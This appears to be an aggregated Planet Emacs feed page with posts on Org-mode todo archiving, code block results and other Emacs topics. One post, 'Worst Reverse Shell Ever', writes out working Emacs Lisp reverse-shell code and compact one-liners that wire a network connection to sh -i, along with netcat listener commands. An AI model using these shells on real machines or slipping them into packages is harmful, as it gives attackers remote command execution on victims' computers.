* health [0/0]
* leisure > vacation [0/0]
* pet [0/0]
* person > kid 1 > education [0/0]
* person > kid 1 > health [0/0]
* person > kid 2 > health [0/0]
* person > kid 2 > health [0/0]
* person > kids > education [0/0]
* person > kids > health [0/0]
* person > mom > health [0/0]
* proj > blog > blog title 1 [0/0]
* proj > blog > blog title 2 [0/0]
* proj > book > working title 1 [0/0]
* proj > book > working title 2 [0/0]
* proj > perl [0/0]
* proj > perl > ansitable [0/0]
* proj > perl > debian [0/0]
* proj > perl > lcpan [0/0]
* proj > perl > perinci [0/0]
* proj > perl > wordlist [0/0]
* reading > books to read [0/0]
* watching > movies to watch [0/0]
* watching > tv series to watch [0/0]

Actual todo items are always written as level-2 headings under one of these level-1 categories. This way, I always know that todo items are at level-2, which makes some things easier to find and manipulate. For example:

* proj > perl > lcpan [0/0]
** IDEA [2020-10-04 Sun] lcpan: subcommand to star/favorite modules/dists/authors
** IDEA [2020-10-04 Sun] lcpan: subcommand to show whether our favorite modules/dists/authors have a release in the past week/month/etc
** WISHLIST [2020-10-04 Sun] lcpan: subcommand to retrieve number of ++ from metacpan
** IDEA [2020-02-24 Mon] lcpan: subcommand to check circular dependency
** TODO [2020-05-10 Sun] lcpan: replace Archive::Tar with Archive::Tar::Wrapper

If you’re wondering about the timestamps, my habit is to put a creation date at the beginning of each headline’s title. I myself feel it’s rather unclean and have tried to put “logs” inside the entries, but it’s nice being able to quickly see how old a todo item is, so I’ve kept the habit alive.

The actual “proj > perl” category itself is quite large (currently 3000+), as I put todo items for various smaller projects there and only create a subcategory for a few notable projects.

Over time, I collect hundreds of done todo items in various categories, including in this large “proj > perl” category. I want to remove the done items, but archive it in other file (done.org), under the same category headlines.

Emacs offers some archiving functions for this, and I’m sure with some elisp code it can be instructed to do the above, but with my very limited eslip-fu I shuddered at how much time I have to spend to produce such code. Thus, Org::Parser to the rescue. The result is move-done-todos. It’s not as concise as I like it to be, because the Org::Parser’s API still stinks and lacking when it comes to building node objects or doing some basic manipulation. But at least it works.

To use it:

% move-done-todos todo.org done.org

By default, the script operates in dry-run (simulation) mode, for safety. If you are sure with the results, you add the --no-dry-run option:

% move-done-todos todo.org done.org --no-dry-run

The nice thing about this script is that it can auto-create the categories in done.org, so moving is only a single command-line invocation process. I do strive to make everything in the world a single command-line invocation process.

If you want to remove the done todo items from your todo file, which you might prefer because the done todo items are already recorded in the revision history of your repository anyway, you can omit the done filename:

% move-done-todos todo.org --no-dry-run

There are things that I want the script to be able to do, but not yet, like updating the counter cookies. That, for now, is currently still noted as an undone item in my todo.org.

-1:-- Org stuffs: 001: Moving/removing done todo items (Post perlancar)--L0--C0--October 14, 2020 11:14 AM

Irreal: Org Code Block Results

John Herrlin has a followup to his previous post about Org-mode code blocks. This one deals with controlling the output of a block’s execution. I usually think of the :results parameter as a way of choosing where the results from the code block should come from. That can be either the “value” of the block (in a lisp sense) or whatever the block outputs to stdout.

But it turns out that the :results parameter can do much more. In a sense, it also controls where the results go. For example, you can have it append the output of the block to previous outputs. Or you can arrange for the results to be wrapped in another code block. Herrlin gives examples of how to take advantage of these capabilities. See his post for the details.

It’s a nice post and definitely worth your time even if you’re already familiar with using Org code blocks.

-1:-- Org Code Block Results (Post jcs)--L0--C0--October 13, 2020 09:07 PM

emacsninja: Worst Reverse Shell Ever

Every now and then there’s someone asking about Emacs and security, especially when it comes to the question whether one can trust packages. Short answer: No. Long answer: This question cannot be answered without defining a threat model first, but honestly, who is going to bother backdooring an Emacs package?

Yet some lingering doubt remains. There are Emacs users after all who are high-profile enough to bother attacking. Suppose you wanted to write malware in Emacs Lisp, one obvious thing to try after gaining the ability of arbitrary code execution is a remote shell to comfortably execute commands on someone else’s computer. There are two flavors of them:

Bind shell:
The victim computer listens on LPORT and the attacker connects to LHOST:LPORT. Any user input from the attacker is sent to a local shell, output from that shell is returned to the attacker.
Reverse shell:
The victim computer establishes a connection to the attacker listening at RHOST:RPORT. Much like with the bind shell, user input from the attacker is interpreted by a local shell.

Reverse shells are more popular as they allow circumventing restrictive firewall rules. There are several cheatsheets for spawning them with a Bash/Python/Ruby/Perl/… oneliner, most of those rely on creating a socket, extracting its file descriptor and wiring it up to a shell process. Unfortunately Emacs doesn’t give you that information, so I’ve had to settle for a less elegant approach. Here’s my first attempt using shell-command-to-string to execute the received process output and process-send-string to send it back to the process[1]:

(let ((r (make-network-process :name "r"
                               :host "127.0.0.1"
                               :service 8080)))
  (set-process-filter r (lambda (p s)
                          (process-send-string p (shell-command-to-string s))))
  (read-char))

To test it, launch nc -nlvp 8080 (for GNU netcat) or nc -nlv 8080 (for BSD netcat), save the above to test.el and run emacs --script test.el. It works, but is sub-optimal for a few reasons:

  • A new shell is spawned every time a batch of user input has been read. Due to this, changing the directory doesn’t appear to have any effect.
  • The shell seems unresponsive when executing commands generating large output (for example find /) as shell-command-to-string collects everything before returning the entirety of it.
  • If the chunk of user input received by the process filter doesn’t resemble a valid shell command (for example by being broken up at an inconvenient spot), it won’t be executed as expected and might raise an incomprehensible error.

To fix these issues a dedicated shell subprocess needs to be created. Output from the network process is sent to the shell subprocess and vice versa. This makes for slightly longer code:

(let ((r (make-network-process :name "r"
                               :host "127.0.0.1"
                               :service 8080))
      (c (start-process "s" nil "sh" "-i")))
  (set-process-filter r (lambda (_ s) (process-send-string c s)))
  (set-process-filter c (lambda (_ s) (process-send-string r s)))
  (read-char))

Voila, cd works as expected and the hangs for find / are gone as well. Time to optimize both for shell oneliners, for that I eliminate whitespace and carefully adjust the logic[2]:

emacs --batch --eval '(set-process-filter(make-network-process :name"r":host"127.0.0.1":service 8080)(lambda(p s)(process-send-string p (shell-command-to-string s))))' -f read-char
emacs --batch --eval '(progn(setq r(make-network-process :name"r":host"127.0.0.1":service 8080)c(start-process"s"nil"sh""-i"))(set-process-filter r(lambda(_ x)(process-send-string c x)))(set-process-filter c(lambda(_ x)(process-send-string r x))))' -f read-char

These clock in at 180 and 261 chars respectively. Not too shabby compared to the usual Python/Ruby/Perl oneliners (243/104/216 chars). Unlike them though I cannot upgrade the reverse shell to a fully interactive one. But who knows, maybe they’ll come in useful some day if I ever encounter a machine not having common programming languages installed, but Emacs for some reason…

[1]Originally this used (while t (sleep-for 0.1)), but thblt pointed out (read-char) as shorter alternative. Bonus: As it’s the last form and takes no arguments, it can be invoked from the Emacs command line with -f read-char.
[2]An obvious optimization I’ve not ended up doing, is using something like (fset 's 'process-send-string) to shorten any lengthy identifiers used more than once; however it doesn’t pay off as the code now contains both single and double quotes. While it is possible to write a shell oneliner with them, extra attention must be paid to quote both kinds correctly. Unless one uses something like the printf command or bash’s $'O\'connor.' notation, escaping the four single quotes ends up requiring more characters than without the optimization.
-1:-- Worst Reverse Shell Ever (Post Vasilij Schneidermann)--L0--C0--October 13, 2020 01:22 PM

Sacha Chua: 2020-10-12 Emacs news

Links from reddit.com/r/emacs, r/orgmode, r/spacemacs, r/planetemacs, Hacker News, planet.emacslife.com, YouTube, the Emacs NEWS file and emacs-devel.

-1:-- 2020-10-12 Emacs news (Post Sacha Chua)--L0--C0--October 13, 2020 03:21 AM

Tory Anderson: Love lost: when exwm falls short

I find myself going back to regular WMs (my favorite from the past being KDE) because certain tasks are just deeply punishing in EXWM. When I’m doing my regular daily work I can usually make EXWM work for me. But here are the facts I experience with/without emacs as my window manager. Life is worse without EXWM Winum. Looking at a screen and hitting the num to focus there; I miss it dearly and cringe when I need to reach for the mouse.
-1:-- Love lost: when exwm falls short (Post)--L0--C0--October 13, 2020 12:00 AM

Marcin Borkowski: Editing subtitles in Emacs with subed

Some time ago I bought a DVD with one of my favorite movies of all time. (I am not really a movie person, but I like to watch some film once or twice a year.) Unfortunately, the film is only available in English, and I really wanted my daughter (who doesn’t speak it yet) to watch it with me. I set out to translate all the dialog to Polish (which was quite a challenge, and I am proud to say that I managed to do that – better or worse, sometimes perhaps inevitably worse, but still). Now what I need is to prepare subtitles for the film. It turns out that the industry standard is called srt, and – not that it is surprising – Emacs has a suitable mode.
-1:-- Editing subtitles in Emacs with subed (Post)--L0--C0--October 12, 2020 04:58 AM